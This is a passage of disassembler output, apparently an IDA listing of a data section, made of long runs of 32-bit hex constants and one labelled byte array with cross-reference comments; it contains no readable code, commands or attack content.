dd 11008035h, 3EB436F1h, 892E25F9h, 3400A356h, 0AB6BFA5Eh
dd 3A5817E4h, 4A52076Fh, 354B52EFh, 39D10760h, 33A8A7Eh
dd 0E6480009h, 6BD011A6h, 0FEEC0084h, 0A79D6110h, 9F008318h
dd 0C2F9157Eh, 9194BBh, 0AF5171E6h, 1D5B8405h, 0EC689200h
dd 934BB5CFh, 48E7A6Ch, 941ABCF9h, 0D63780FBh, 0BFE9A7C5h
dd 36DB0058h, 3428FF33h, 8B0600ABh, 67839214h, 9707E388h
dd 0D327C51Bh, 42A993C0h, 0E7D8006Fh, 3E72BF6Ah, 681EA5E1h
dd 2180D213h, 0CECBF406h, 4CBE1FE9h, 36B680C2h, 0D38F20BCh
dd 447D8901h, 0DC852B0Bh, 124EDAFCh, 0B84733h, 116F99E2h
dd 2D1F6E40h, 2FAEE639h, 33CDB200h, 209E95h, 37BB66CBh
dd 7DC11B18h, 77009FFAh, 124CC35h, 14C003DEh, 0F4297880h
dd 0FBC97100h, 0CE602899h, 91A3341Eh, 5B8219C0h, 0EEF9FCC3h
dd 0F7291D37h, 26A8C171h, 0F49C01C1h, 0CCB010D0h, 0FD554326h
dd 0E304FC28h, 4AA1AF31h, 202E5488h, 3E03A244h, 0BC2AFA87h
dd 2F3D86Ah, 8B8804FFh, 80C64FEFh, 0A24A4937h, 0D2CBCD00h
dd 2F5768F9h, 0FE3B0014h, 0A1283AEh, 5C0EB0B7h, 209E8574h
dd 9F2FEA1Ah, 0E0476068h, 7B22A710h, 8F2A4C00h, 132EE4BCh
dd 0CFF0D6h, 9661E14Eh, 8DCBA95Ah, 0FB84D350h, 0A6723F05h
dd 10C0315Bh, 553DE1h, 5652A02Dh, 6448B959h, 9AD34300h
dd 3BBFF125h, 0D1F90062h, 497102EDh, 0C87BF4ABh, 888E592Ch
dd 5B1DAA05h, 31F25180h, 8BF003C3h, 0D9E44C9h, 8F891A8h
dd 8C513Fh, 0C51918E7h, 1DE10393h, 4023C059h, 309CE3BBh
dd 0BA00A8ECh, 96247F39h, 0FAE8E6h, 0CD462737h, 8754205Dh
dd 4AFB3Fh, 0C75A6B5Fh, 0A99C0Dh, 0D5BCDB4Fh, 0C91154B9h
dd 0C8374100h, 0F8E79981h, 8CE6A8h, 4AFCC765h, 2C870B40h
dd 0E24EA700h, 4088949h, 7EE79DEh, 904161DAh, 0E420B0D9h
dd 501F2FF9h, 358196DFh, 0A2691357h, 7CA37AE0h, 3B81F486h
dd 54801A60h, 5275EABAh, 29125D05h, 0FC003418h, 1F2A0979h
dd 0CA9A00DDh, 717FDAE1h, 13EA46AAh, 0E7052400h, 0CD6B6639h
dd 8A29001Dh, 8D596E4Eh, 0EA7BAF2Ah, 568EA404h, 2D847B49h
dd 71DBE000h, 3B8479F9h, 35800578h, 81D5E35Dh, 6D00BCABh
dd 342A520Fh, 705CA6Ah, 0E04550E1h, 81BDB77Bh, 60B44175h
dd 0E6009014h, 690F2E9Bh, 48DF0922h, 0F900D466h, 0FA4BF86Dh
dd 0E32EE0DEh, 0AF007CC7h, 0FF31EB89h, 0DCE8C0C1h, 0FE6ED6Bh
dd 504BD507h, 7E5060AAh, 77ABCFAh, 173D75B2h, 0A4DCC0C0h
dd 18010F2Ah, 0D09554F9h, 6030DEA3h, 1640901Dh, 2101A964h
dd 244974DCh, 0C00264Ch, 6CFB111h, 1419E559h, 0B85C5568h
dd 0E645EB0Dh, 0E26C6029h, 0A187E800h, 19326A2Dh, 95430723h
dd 502F15EFh, 61978F6Ch, 7B332B18h, 0D48240h, 596A8E9Dh
dd 0E6861625h, 0FE7F7E00h, 0C8170915h, 0CEA7091Bh, 7887F084h
dd 6BC6E0EEh, 2400D390h, 4FDCF561h, 8FA3F9h, 0E005F154h
dd 7831BE47h, 252D8300h, 0E362A661h, 378058C5h, 0FDAF4050h
dd 548F7C60h, 1CE47866h, 0FDF630CFh, 8CD3D20Ah, 542CB4h
dd 0B4C033EDh, 4B58CC6Fh, 346D00D4h, 0BCE3DCFBh, 83501EE9h
dd 336C0CF2h, 0D200E830h, 0D85FA221h, 726FE168h, 9EE0F86h
dd 38E03C44h, 7DCC9148h, 0FCF63E00h, 6D205385h, 0A4EF1E89h
dd 0B458003h, 0AA836F27h, 0FFC3571Eh, 854F3B9Fh, 20B987C8h
dd 0A090C790h, 0A2AE00FBh, 67FCCC6h, 5400CA71h, 0E31326E0h
dd 50F63386h, 5D60C42Dh, 3203686Ah, 9E49B55Bh, 0D9C5EFD8h
dd 8CBE1A28h, 53D42700h, 0F47B1E91h, 444A0030h, 0D0B5EA13h
dd 0ED030FFAh, 0FCE7882Ah, 0AAAEF0F3h, 0CE303997h, 904DC8E4h
dd 0CB9E73DCh, 21B4F800h, 36BCD449h, 3A30C5F2h, 58BB8053h
db 3Fh
byte_520045 db 87h, 0Bh, 0D3h ; DATA XREF: ___:004380E8o
; ___:00438100o
dd 801005D0h, 7AAA6464h, 754A0047h, 6DE4D50Eh, 8400091Bh
dd 0BC730C76h, 9B85631h, 9311C5E1h, 140F24A1h, 70007051h
dd 0B23C6F00h, 40E907E5h, 0D4160019h, 865A65BAh, 0F900C8F3h
dd 23255E0Dh, 9C52C5h, 0BCF473B0h, 353A6350h, 8915F90Bh
dd 794C0317h, 0D2D0AFB2h, 738DBD7h, 5D613A20h, 0FC8E56Ah
dd 31602BDCh, 0C755E2A7h, 605CA616h, 729BF804h, 0FE2BCCCCh
dd 0A3591EB6h, 3F5362h, 0C81E4BFh, 0D00F593h, 528AF05Ah
dd 0F65955h, 14A1DEC1h, 323B3D2Fh, 53A8B509h, 0B3D06095h
dd 0DF000A5h, 4E59F5FEh, 0F31E70B0h, 5F000132h, 6B4AD8Ch
dd 58FB985Ah, 6E006F4Ah, 800824C2h, 1C009741h, 6468F59Dh
dd 12BB50F4h, 32B2818h, 530AB8DCh, 0DACAB2A0h, 0FA66A100h
dd 21720D5h, 0B27B6098h, 6589D45Ah, 68EEE301h, 41A54932h
dd 0B8EF17EDh, 0BBEEADFh, 9CCC37BAh, 6BC9FC01h, 66B602C7h
dd 54B10A28h, 8C86F6h, 8B9C799Eh, 26580AFDh, 18CC0568h
dd 0C0BF3FE8h, 5DB08254h, 80592C00h, 697BA4A2h, 6BE1398Bh
dd 82AEED01h, 20B1335Ch, 1260C404h, 0F5EA95E9h, 0EB8B8CBh
dd 88A46DE5h, 1169C007h, 0EC81D24Dh, 0C60A61CEh, 0A8EFB768h
dd 405B0700h, 2F387BAh, 9ED6E309h, 50605E8Bh, 7200A16Ch
dd 0A02456A4h, 22E21E9h, 870427A6h, 0E840E5DDh, 0DE005E22h
dd 0B0A973BDh, 18C99AB1h, 40356C4Bh, 7B02069Dh, 37A65811h
dd 67106063h, 0BE2F0ECBh, 1BA16823h, 306698D1h, 0B50206F0h
dd 81ABD3B0h, 6CA08044h, 1277364Ah, 827E92h, 4B1188B4h
dd 14001E1Dh, 0B640F3FAh, 907B477Fh, 1CE500A8h, 2A0C9A56h
dd 1098A225h, 13F75B00h, 0EDD5D8AAh, 8A1D281Bh, 3153009Ch
dd 0D46D7696h, 0BB0E49C0h, 40752563h, 6C2283F5h, 0F4B95292h
dd 141CF003h, 9800730Fh, 0AD71F47Fh, 7B087A8h, 0B1B86D7Dh
dd 982810DCh, 0AB00D214h, 473D7E27h, 296A99h, 928C57C6h
dd 0E1B3E230h, 87482A60h, 4B051Dh, 407F33D3h, 0F0AE923h
dd 5129971Eh, 9B206BC0h, 0B9260Bh, 249D43EEh, 86DC2381h
dd 5ED63D03h, 0D870ADFEh, 0E4E576AAh, 15910069h, 0CBC12541h
dd 201C0F85h, 3AFCBFE3h, 0BEBBBE29h, 6A02806Dh, 0CE049DE7h
dd 9ACF001Eh, 3585EBF2h, 8900BC4Dh, 59E46776h, 0B85FAAh
dd 0B74CF4Ah, 0F2C0C1DCh, 440AC900h, 0D6F693F1h, 72730015h
dd 9D58A754h, 0C07770DDh, 0F2FE7C78h, 0D868D307h, 630FE23Ch
dd 0D058720Ah, 398C01E6h, 0C200616Ch, 8805F628h, 0AC74B251h
dd 7509A200h, 76648FEFh, 9E7B002Eh, 0DC74C0FFh, 0D00087B7h
dd 0FEED6F54h, 58441792h, 0A600D418h, 0A46EFA78h, 4F4CF094h
dd 56D5001Fh, 7BCD80F5h, 6C6007Ah, 91AE44A2h, 2C676D24h
dd 0B108F11h, 18677493h, 19C02D75h, 2500DB14h, 241DF2BCh
dd 281B488Eh, 0FE7D6DAh, 0BDF76FA8h, 3EAE100h, 0DC00D10Bh
dd 8C1C25F6h, 3562C7Bh, 0A39C21B7h, 429823C7h, 5F0EA4EEh
dd 0BB2057D0h, 0CED2F010h, 0ADC500D6h, 6B3A69Ah, 5200B96Eh
dd 8095F994h, 3073AFDAh, 383090CAh, 0E948AB61h, 5ACF0010h
dd 0F2D5440Eh, 3A6EEC3h, 7601911Fh, 0A7F0F78Bh, 8A3D2D8Fh
dd 0AEBD0FCBh, 45E3C79Dh, 0C0BFFB43h, 48C40B77h, 31E20A2h
dd 0AAA8FDh, 0EB4FD0B6h, 5D25A7FCh, 6B464B06h, 928A88Dh
dd 0DD51BC2Dh, 0C610488Ch, 13184D00h, 1FB8BEE7h, 15BA006Eh
dd 7DC00D90h, 560057A2h, 0A312EB40h, 0A0F37Fh, 0F7D1E147h
dd 0DD816FA5h, 580C4F13h, 0CA1E4404h, 36CB3080h, 1C142021h
dd 66002679h, 0E879022Fh, 1EE26DB5h, 0EFC4C2h, 1A62CFC6h
dd 5300083Ah, 3AE06F2h, 61A6B6h, 0E6313E70h, 11B8B0FDh
dd 825A7401h, 9038FF16h, 0D1C03F00h, 882E7301h, 534557ACh
dd 55D6CCh, 774ECFECh, 4285549Dh, 1B68601Fh, 49018BC0h
dd 0C178FBh, 0AC9506F5h, 0A6F27EBBh, 0EC8E8207h, 0E42A834Fh
dd 0DB118D00h, 759DD559h, 19660F0Dh, 3820A2A1h, 0F07619Ch
dd 0FCB2351Dh, 0A409A380h, 50E64Ch, 4F249903h, 0F7040B7Bh
dd 0D01B6EAh, 5B449DD3h, 0AADC4CCFh, 0CCCA1750h, 87580078h
dd 0D264FC90h, 0D0765B1Eh, 0B1BA94C7h, 463D8060h, 5733018Dh
dd 0CDE1CB2Bh, 8CECC8C8h, 0DA0E2DEEh, 890BB563h, 972C01B2h
dd 1180E4C4h, 33851D36h, 0EE002CCEh, 847735CBh, 39D5ABB1h
dd 0D0006FD4h, 0CE606AE3h, 0EA004F4Ch, 8005A0D8h, 0F5F438h
dd 72941A16h, 0CB1859B4h, 8476333Fh, 0F7C46B1Eh, 0D7D09490h
dd 0F85724E0h, 0B5DC0009h, 0E45C646Fh, 1CDBDD48h, 16C0D91Fh
dd 0B9EEB4E1h, 5ECB0C69h, 17118510h, 0B1D021C0h, 26A17109h
dd 4C9032h, 0C1B8203Bh, 18780C56h, 217370C0h, 71D7ECAh
dd 861FE297h, 1B3EA30Bh, 0C371210Dh, 15E098CAh, 40BD30D0h
dd 0EF798C49h, 9EE859CFh, 89834A01h, 20800A41h, 0A821A277h
dd 72E2422Fh, 0F3CAED07h, 503C410Bh, 0D8869D94h, 0A3F0F9C9h
dd 3CFEB800h, 98882438h, 5DA20C0Dh, 995009ADh, 70833E0Ah
dd 610048EAh, 0B22E1B63h, 21530041h, 96C8EDFEh, 54002DB7h
dd 0FC4D5670h, 7238BC0Fh, 85AD00F3h, 431CA89Ch, 78094919h
dd 800DEEDEh, 0CAC67018h, 3BD81FEFh, 80FF1DE1h, 8BB5080Fh
dd 607D062h, 0A694F157h, 50465E90h, 96CA005Dh, 36C09727h
dd 0D50C1EF8h, 0D1ACE40Fh, 0AAEE0Dh, 0F0FD6BF7h, 0EFD61122h
dd 6A2D0B0Fh, 24E30166h, 0B0C85EF6h, 0B80654C7h, 6F321F7Ch
dd 807E5EE5h, 8D495EDBh, 947AA8C0h, 3C34EF03h, 0F1FD89h
dd 0DCE20831h, 0CC1958A2h, 2FB9B400h, 0CAF5FB2h, 0E12500ECh
dd 691D91C6h, 8F076246h, 0E3CE2720h, 0B7045B11h, 2B212080h
dd 0A88326C7h, 0B84AA700h, 4354EDF9h, 85D03E8Dh, 49FCF807h
dd 7C90C3FAh, 0FC6B41E1h, 0BA009FB3h, 649B1A3Ch, 166D18h
dd 0B703C377h, 0C5E93009h, 0E02C5B00h, 66FACEF5h, 0A8580050h
dd 0EA018899h, 8A00A02Bh, 0EB809B62h, 14B0B42h, 9DCC23ADh
dd 80C74AECh, 0E7B38E11h, 0CF22A6h, 4C4F8DC8h, 56321CC4h
dd 0ABCD3700h, 54C2D3B3h, 306EB8C5h, 0F0184DD0h, 40719834h
dd 9CFC770Fh, 97F8E0D8h, 0F86CC4Eh, 908D75F5h, 0D5163060h
dd 58C05D2Dh, 0BFEB14C0h, 9AA500BCh, 0AACAE4E8h, 9D7AEFD3h
dd 733EE998h, 4CA90387h, 0B003182Fh, 0C8C6DE7h, 0D4F52C08h
dd 0A6601408h, 0E8C83520h, 5B6B0F26h, 92C0CEE1h, 13CA049Fh
dd 6136381Eh, 0EDBD0AC0h, 30D94337h, 7838DF50h, 520E4906h
dd 0A1A07DD4h, 334F25C9h, 21BED3h, 425251F8h, 0CAF01FD9h
dd 7A8F5700h, 34FE070Ah, 1D80C076h, 2C1B3978h, 4F1080E9h
dd 3F307BE0h, 28F40CD4h, 1708AD99h, 0A3D221C0h, 793B069Fh
dd 540D1D37h, 9AC0406Dh, 0BC5FD322h, 42122703h, 1FF3B624h
dd 0CCCDA689h, 0EF20EED9h, 2CFA8500h, 0ADF5F3A9h, 649E3152h
dd 0CA122518h, 0A55D8109h, 0C728B0h, 0B3E12C40h, 0CE77E2Eh
dd 0E9C39219h, 2180FF08h, 0FAB3D483h, 643029D7h, 927379A2h
dd 0F004670Eh, 7FFD8016h, 0CE78ED5Ch, 0B4A9A703h, 9815181Fh
dd 1D26304Eh, 2670F6E9h, 8D2500EAh, 384CC202h, 3F47CC00h
dd 60E1B9BFh, 4B8F071Dh, 80216480h, 0C3DAD28Ch, 0F8BBD500h
dd 0DEA659F5h, 327507BCh, 403FEC65h, 3D7B145Fh, 0FEC39300h
dd 0F3986FD3h, 43B5002Eh, 0B902F5D6h, 4C00675Ch, 34C40363h
dd 7F170916h, 6B4E00ADh, 4020C924h, 700063D5h, 0A0AAE555h
dd 5830443Bh, 5B00D0ABh
dd 4E6A3E94h, 7D0009F2h, 73EB27EAh, 9FC93DC7h, 0D44005Dh
dd 723F9CAh, 96C40E55h, 1BA18080h, 0A5E0D6C5h, 0DB461403h
dd 0B7C7260Ch, 0AB8AB450h, 0F1E30072h, 50674491h, 0B3006B54h
dd 0B28DB55Ch, 4AABD7h, 0F0364E9Fh, 31D4FE38h, 3B67403h
dd 0E3F16EC9h, 0B7DAC014h, 9BE461h, 0CCC548E3h, 389A4295h
dd 0DB59121Fh, 0AAE70D00h, 1E7670A7h, 0C11CE53Bh, 0A858A23h
dd 5E2660F6h, 99C79C00h, 4656E31Bh, 8B640065h, 0A6547D59h
dd 483BCC5Ch, 63098087h, 27A512E1h, 0D9B2008Fh, 5C506A94h
dd 0CE00AA62h, 0A1DA5557h, 407753h, 89DB8790h, 52D26B1h
dd 5E00657Fh, 2C3BA1EAh, 0DFD6C1h, 0C0355068h, 0B4494577h
dd 6B895F00h, 69F5C755h, 482F192Ah, 8F129DDh, 0DB5C44E3h
dd 0CB812284h, 10F19D22h, 118498A4h, 1C1108EFh, 0BD5911BBh
dd 21897111h, 0C8A208A3h, 59844590h, 4215E74h, 3E45440h
dd 4074AEC1h, 440B14A1h, 2244BF23h, 0F9B044ADh, 5F8091E8h
dd 46D08824h, 88A9E140h, 1D000CF1h, 732BC652h, 20F03Dh
dd 2D40541Fh, 0E3FC9B5Ch, 728D0300h, 5A3C11CAh, 0D4AF0035h
dd 3D391A4Dh, 517EAC79h, 3F0073EEh, 0C40DD791h, 31FC4Ah
dd 12FAF02h, 0BB3DB92Eh, 0BF529A00h, 0FCD04CEBh, 72F307E6h
dd 43E91661h, 0EAB1FF86h, 8813C80Bh, 1CFB800h, 0BF3D742Bh
dd 0B06F0F7Bh, 0DC8042F3h, 0F563996Dh, 34086000h, 54DDDB0Ah
dd 973C0088h, 0AA74B75Bh, 27001306h, 98F13EFDh, 5845CA46h
dd 0B6002C44h, 263947BDh, 0F607D9F3h, 8699BFB7h, 8F4E80CEh
dd 30A93F38h, 4483BA7h, 2D0091C5h, 0A07B8D06h, 0F22DAEBh
dd 87BDDBE2h, 17244B40h, 0A400EA86h, 320D930Ch, 0A1076Dh
dd 0B8029DAh, 8BE13FE5h, 0FB7CFF03h, 0E8F2DC2Eh, 0C65EC9h
dd 161B046Dh, 78F5487Fh, 79FC34FAh, 233CCB00h, 56EC1E6Fh
dd 57744Fh, 0E1278F0Dh, 0A3AAB59h, 0C823E217h, 0C242A000h
dd 948944h, 0EED10D8Eh, 6E08C9F4h, 6570B900h, 0CE31D25Eh
dd 82D800A7h, 36688C39h, 8D001BD7h, 0B3743C66h, 1F176157h
dd 0E79547E5h, 15159D7Eh, 0AFB100BCh, 62AAF490h, 0B742171Ch
dd 0C87F0022h, 3FB54489h, 70063100h, 7A18748Ch, 0CC953852h
dd 981C7703h, 0F2B8666Eh, 1403D7ECh, 0D809EBF1h, 0B34A996Dh
dd 1C9FBEC8h, 315613h, 787303A8h, 0D41DB494h, 0D00EAFDAh
dd 0FF85212Ah, 47E8B5C4h, 0BBE900B1h, 0AED4C613h, 0E050C10Fh
dd 94F83DB0h, 93EFCB00h, 626012B7h, 64F6002Eh, 0D81FB6Eh
dd 0AD7176F3h, 0CA1BD000h, 0E6886A3Bh, 67692483h, 310E0134h
dd 0F2192439h, 169E0440h, 0E223A40h, 0BCF3971Eh, 2B0B9BA2h
dd 0C2006C44h, 0A7613CB3h, 5C70B7h, 0CF772F86h, 0FC653F2Bh
dd 8018FF39h, 0F835F279h, 0F573A7h, 4BD88804h, 0C9F0BDD2h
dd 0FEB8137Ah, 99A93C1Bh, 0CB39B8A0h, 0C2850292h, 6197A7CDh
dd 3A788160h, 9EAE440Fh, 0B573C06Fh, 5ACC09h, 794C624h
dd 8F1E9D78h, 0E95B6700h, 45FDE7E6h, 41FF5890h, 78BF823Eh
dd 1B0A6881h, 23698DEDh, 86FBE800h, 9E72EE03h, 0EAD0B35Ch
dd 0B8D8A0F6h, 0FC7491h, 72B90A48h, 69F3D6ABh, 0FB537100h
dd 0F6F5D3D5h, 18920078h, 42115F0Ah, 9000F8B4h, 0A0331CA8h
dd 7FE1747Ah, 0CF0B1D31h, 0A3828054h, 1E8F35F0h, 710C9C0Fh
dd 0FEBC014h, 8C4C57h, 66C7A06Dh, 8243B89Fh, 0F57DFB73h
dd 0AEEA4600h, 28808FE0h, 4BBD0070h, 9206DC38h, 0A0006CA2h
dd 0EEB1A8E8h, 14F1E6Ah, 40FC63D9h, 60528134h, 0AF0120EAh
dd 8E042E57h, 67DC99E7h, 59210006h, 0FF7051CCh, 0C900825Bh
dd 0C59D53CDh, 33B39FEh, 0D92B526Fh, 16F36A67h, 5D3336F0h
dd 93647E01h, 789FB2F6h, 8577F0h, 0B8766145h, 80B4C596h
dd 4E8353Ch, 3A25CBB5h, 399A2FC0h, 3F727D9Ch, 71803897h
dd 0DAE610A5h, 0A90160BEh, 0C08B3629h, 0D283BD16h, 0AD68DF2h
dd 4EB3087h, 617408AFh, 13C26900h, 6F125340h, 0A3EF0066h
dd 0A8BDC98Bh, 0D800F925h, 41A92F03h, 0FCDCC3h, 24E5EC8Ch
dd 556018EAh, 0B3F69690h, 0C4CC59h, 6E365B59h, 269C92h
dd 526CA1A9h, 0BF1E9B51h, 0A49E2100h, 43C049CFh, 327F37h
dd 3C9276F0h, 0ECAC85C3h, 0BB001090h, 0F36FA7E8h, 70BF8751h
dd 112C0B68h, 0D4805299h, 27FD6CC4h, 0EFEDF203h, 90D8EA35h
dd 0C7AC04h, 66F68B56h, 7C8F735Fh, 1F53C43Fh, 8C401F3Ah
dd 154BD605h, 1A6E62Ah, 23FA3441h, 0C8D4535Ah, 3100FD51h
dd 3AEFB885h, 767A6E22h, 13D30316h, 970D4187h, 9AA700B7h
dd 0C8EF513Ch, 7F00BEC5h, 0F2D95A75h, 62A365h, 0CD821B0h
dd 3787963Bh, 5DA9C000h, 3E83E57Dh, 0EFC2007Eh, 3FB61AAAh
dd 0F90E45FFh, 8067E777h, 709925CFh, 487904EEh, 0C3F70C6Dh
dd 7800D52Ch, 35CF3D84h, 1BBAFCBh, 2D94B747h, 0E0A85559h
dd 0C51C4EF9h, 81812489h, 9C01B908h, 0A5E920h, 78BA9D0Fh
dd 29BE2804h, 1716FA00h, 73FD677Ch, 48DC00F9h, 0D524882Eh
dd 0BB04894Fh, 9662C1Bh, 0F6475C80h, 0E39B2456h, 0B0480074h
dd 759DB5D2h, 86407200h, 9E5B3235h, 5C5009Fh, 50A1E6C2h
dd 483EF97Ch, 0F5E5BC1Ch, 0BBBF7A00h, 0D17B9A44h, 5C9091h
dd 0A0716B05h, 555FBCB1h, 6787F491h, 0F660BFB2h, 7B11CCh
dd 3CA786FAh, 141B0321h, 0EDCDAB1Eh, 0EF0F5BEEh, 0B727A391h
dd 0E6C0D5D4h, 3B48DEh, 354E62B3h, 0B664E76Dh, 0FE8FB400h
dd 9102A1C4h, 90F5005Ch, 1CDB7D82h, 2F00DD34h, 0E0BE4C05h
dd 0CB2EAF2h, 39043707h, 5000A304h, 0E61F1766h, 0DC94D7D2h
dd 2F5B4041h, 357B1D54h, 0E1C86400h, 7F85C9D5h, 0E95D047Ch
dd 90E35E92h, 2C1FB930h, 8D123101h, 4E0FE5BCh, 776832ECh
dd 0A467009Eh, 834DA6AFh, 0AC7F0C5Dh, 45B2F01Fh, 295F8B40h
dd 0A7F346h, 51B58119h, 0E5B0DC65h, 4490AB00h, 33C38A38h
dd 7ABF00D2h, 713B1C9Fh, 24000CDBh, 0ADF94E53h, 18CD04Fh
dd 0BF72B42Bh, 404AD23Dh, 4B667DE7h, 6DA4DB0Fh, 6F06E085h
dd 3FAD63h, 19A82630h, 0CDE825BEh, 0B85C4700h, 8AC88F9Dh
dd 0C5E8EDh, 0BD300B29h, 0FE17CC2Dh, 25855A03h, 8841B9B4h
dd 0E01ABBh, 0AE403F44h, 3BDD12D0h, 0F8945E00h, 0B82FE64h
dd 9E56004Eh, 0C903D42Dh, 0AC3DEBE7h, 2B7D00C1h, 0E3444F9h
dd 13E400FBh, 1A80DF1Eh, 0D30EA7EDh, 808F14F2h, 0F95A0648h
dd 1F2200DEh, 11EB5774h, 0C8FAB58Bh, 9800EDF0h, 0F989A33Ch
dd 1D535FD3h, 80B3201Ch, 933D9980h, 9B007623h, 8198EB8Bh
dd 0A8421Dh, 0EF752107h, 0BCE22503h, 0E5583B00h, 576A90BFh
dd 0B4880064h, 0D35E60Bh, 0B700D33Fh, 0D1B1480Fh, 74AEE31h
dd 1B38F16Ch, 1629A09Ch, 3FEE9BF9h, 0E061700Eh, 0DCF2201Dh
dd 0E41C9Eh, 0B6402C5Ch, 0CBFC90A2h, 99B81600h, 89082A47h
dd 4C980750h, 0B04E1D1Bh, 0B8AC6D7h, 53BE4004h, 3FC0666Ch
dd 219809h, 5C697111h, 0B87EFEB0h, 721E5E09h, 42608162h
dd 90D3DBA4h, 3BA6D84h, 0BB321B91h, 4DB8E952h, 0B9098F4Fh
dd 5DD30759h, 0C76908h, 567F9076h, 0CE006F4Ch, 78359AAEh
dd 74614D4Bh, 1A70001Dh, 49FB2E4Fh, 6B00DCD1h, 0C91B483Fh
dd 38A67F6Fh, 53A47E19h, 0B5B20300h, 68E858C3h, 9902630Eh
dd 0BA3EC8CDh, 0B6D6035h, 0FBC200F9h, 25343FF8h, 5FFE7B7Ah
dd 0BB474101h, 80180C1Ch, 0F15D1DCh, 97F20E94h, 0E609D400h
dd 0B92A8EC9h, 0D374B475h
dd 83F68800h, 0CD1BC34h, 45987Ah, 44CB0E86h, 0A5378522h
dd 14589800h, 1E478170h, 29E47Bh, 8738940h, 781A1B0Ch
dd 0A310260Fh, 0A0C48E2Fh, 0AB4EF04Ah, 81E000BBh, 7CA6A41Ah
dd 0F37135ACh, 0FB0A0E03h, 0B3A7389Ch, 68E0F891h, 4CF24Fh
dd 0B43A6714h, 4DC663B5h, 0A230FB00h, 0FF52A028h, 25B8CE2Dh
dd 0E556C15Dh, 0FCFC12EAh, 5101FB07h, 0CB88025Bh, 0C9303523h
dd 6CE700A1h, 0C31A5569h, 0CF245946h, 0E91E7D22h, 0C56DF800h
dd 9B6770h, 75FBA9FFh, 4125A33Bh, 49D30F0Eh, 6F0CC096h
dd 374473Fh, 539891Ch, 0FF987156h, 0D5709979h, 8AE82760h
dd 0C1C4C7h, 0B025D022h, 0F866197Dh, 9E90FA00h, 5982C9A2h
dd 0B8340095h, 9B16BF6Bh, 620023B9h, 469DA653h, 0E0B2846Dh
dd 0DC31276h, 0F48040A4h, 9BE69EFh, 0FA3E307h, 8E7035E2h
dd 0FAAC374Eh, 0DF9F005Dh, 0D315401Dh, 0D700DB5Bh, 0E57CBEE1h
dd 1FD6008h, 599D5122h, 0D4951873h, 771064Eh, 2443E705h
dd 0B2803156h, 542EB40h, 0D5D7E6AAh, 0C035C06Bh, 1D035BF0h
dd 0FE2441DCh, 3BA2805Ch, 0C84B0108h, 0F60A362Ah, 876DE412h
dd 60F18100h, 4439C93Ah, 8D7B1C5Bh, 0A1B68003h, 43B050E3h
dd 8F07C339h, 0E1873B6Fh, 0E2CC5897h, 71C62DECh, 16A73D2h
dd 564FA20Ah, 405F12E9h, 0DA531DF8h, 0D6D0F00h, 2F20A489h
dd 432900E3h, 9BF3E03Ah, 3479DA3Dh, 41F5DF00h, 0E2B3F1Dh
dd 67240011h, 8BF6206Ch, 0C3B8FB40h, 57A4C800h, 4375F432h
dd 0F86654CDh, 5C4BE28Ch, 0CF007BBAh, 44E812CEh, 630217C4h
dd 569DF0D1h, 8C6560CBh, 4389006Dh, 0DDE94018h, 38F2AAA2h
dd 0A7008AE0h, 6BE48ECBh, 5F012CFh, 3432DDC1h, 6AAD014Ah
dd 0D87DEBDBh, 24989AEDh, 0C098404Dh, 14982671h, 0E2E09044h
dd 0EB410FB3h, 8DC0B0E0h, 0E73D6C5Fh, 8D983A0h, 2F3CFB00h
dd 6B40B4CBh, 23BD009Ah, 25359957h, 6103C254h, 6729469Bh
dd 895CE84Eh, 1047600Ch, 19221E42h, 0D7B09102h, 62DC9693h
dd 0B9B80079h, 0FE4063h, 85B5B69Eh, 0A6A2700Ch, 0BF07D201h
dd 17E5B935h, 6054C07Ah, 0A300FAD7h, 8155825Eh, 8B6E40h
dd 5C081788h, 0BC25F295h, 0A42ACC00h, 0FF42A577h, 0C0EF0074h
dd 0C22436B4h, 860082B0h, 60340CDAh, 3A75C04h, 3DCA1642h
dd 9001F5E8h, 866F4D22h, 8C2477C6h, 92581DD1h, 0B10A3D04h
dd 9835F4h, 87D7D4F5h, 2E07AB65h, 89F8B494h, 0AE648B00h
dd 8E810013h, 60D1BBA4h, 1A601841h, 21DEE328h, 5C16004Ch
dd 0D4638E8Dh, 0C20193EBh, 0C8401350h, 0CEDD2BFDh, 0AC35FCh
dd 881EFF5Fh, 0AAF2F194h, 0C5C3DC00h, 993A7046h, 2C70036h
dd 250B814Ch, 76006985h, 6BBDB35Eh, 5EF8E58h, 80832231h
dd 80AB1EE6h, 0C8EAEED4h, 0D6032414h, 0D0CCFA40h, 0E7C3E864h
dd 17830123h, 73F35239h, 0F871C806h, 564C2504h, 60BCABB0h
dd 0CEF50F73h, 83603853h, 0EC139051h, 8E313E01h, 0EFF3F9E2h
dd 1F851920h, 0C7F661FEh, 0F7AAB42h, 0C8172201h, 0E7E1E858h
dd 9ACDCB00h, 0A7A88884h, 3629008Bh, 2A2E4B97h, 0D00058D3h
dd 1EC21C57h, 0F2BBC75Ch, 7413005Ah, 0D459C933h, 6D000315h
dd 0DE8C6FCh, 0F4E6CCh, 46D2CDDBh, 0F6367CCFh, 0B4D73F01h
dd 0EF53B644h, 7D630C0h, 0F7E202A9h, 1E0F20DCh, 0EA00D918h
dd 0BCF6B1D1h, 52DA55h, 7BD53FFEh, 0EC822F48h, 3B004E70h
dd 0D15D93E7h, 2EBE509Bh, 3F95727h, 1748D283h, 0F03ABDD8h
dd 0C75F280Eh, 0A9FB80CAh, 85FD30h, 35D804C1h, 8E65277Bh
dd 0C9346607h, 0CF904E2Bh, 3C2E1154h, 630F6ADBh, 46DECE17h
dd 0D8F70D16h, 0FB1CCB07h, 59A07D84h, 3215E4Dh, 8063F9E3h
dd 0CBB08DD3h, 672ED9D0h, 0BA004550h, 0A6983929h, 0D36500BCh
dd 0F7D6FBB0h, 9707CA9Dh, 306E20FAh, 402721B2h, 0F59271h
dd 740453CCh, 68F3AEF7h, 0CA49548h, 6187DBDEh, 0EAED068Bh
dd 10DDFB21h, 7D07317Ah, 0D80ACD42h, 69100BD7h, 25954Eh
dd 0F0BCB6D4h, 0E10F5E47h, 0BFF1ED00h, 71D82045h, 0E563006Ah
dd 7C5514Eh, 9D008B17h, 0FDAEF985h, 1C1084EAh, 40862513h
dd 30E27D42h, 2A008EF4h, 95FD757Fh, 3E378D5h, 0B63DA7D6h
dd 0BA88B3EEh, 3C00A0A1h, 0C8FC868h, 2C0AE93h, 8C1388F2h
dd 0FCE0B4BBh, 513A3EE8h, 7FE307DDh, 0C3F092E0h, 2FE142h
dd 89CADF12h, 62F6D7D9h, 818CAC04h, 0B8C05783h, 1FB5E9D1h
dd 80DCC09Ch, 0CFB8CD25h, 1F079A4Dh, 0A3BC101Ch, 49F5FA12h
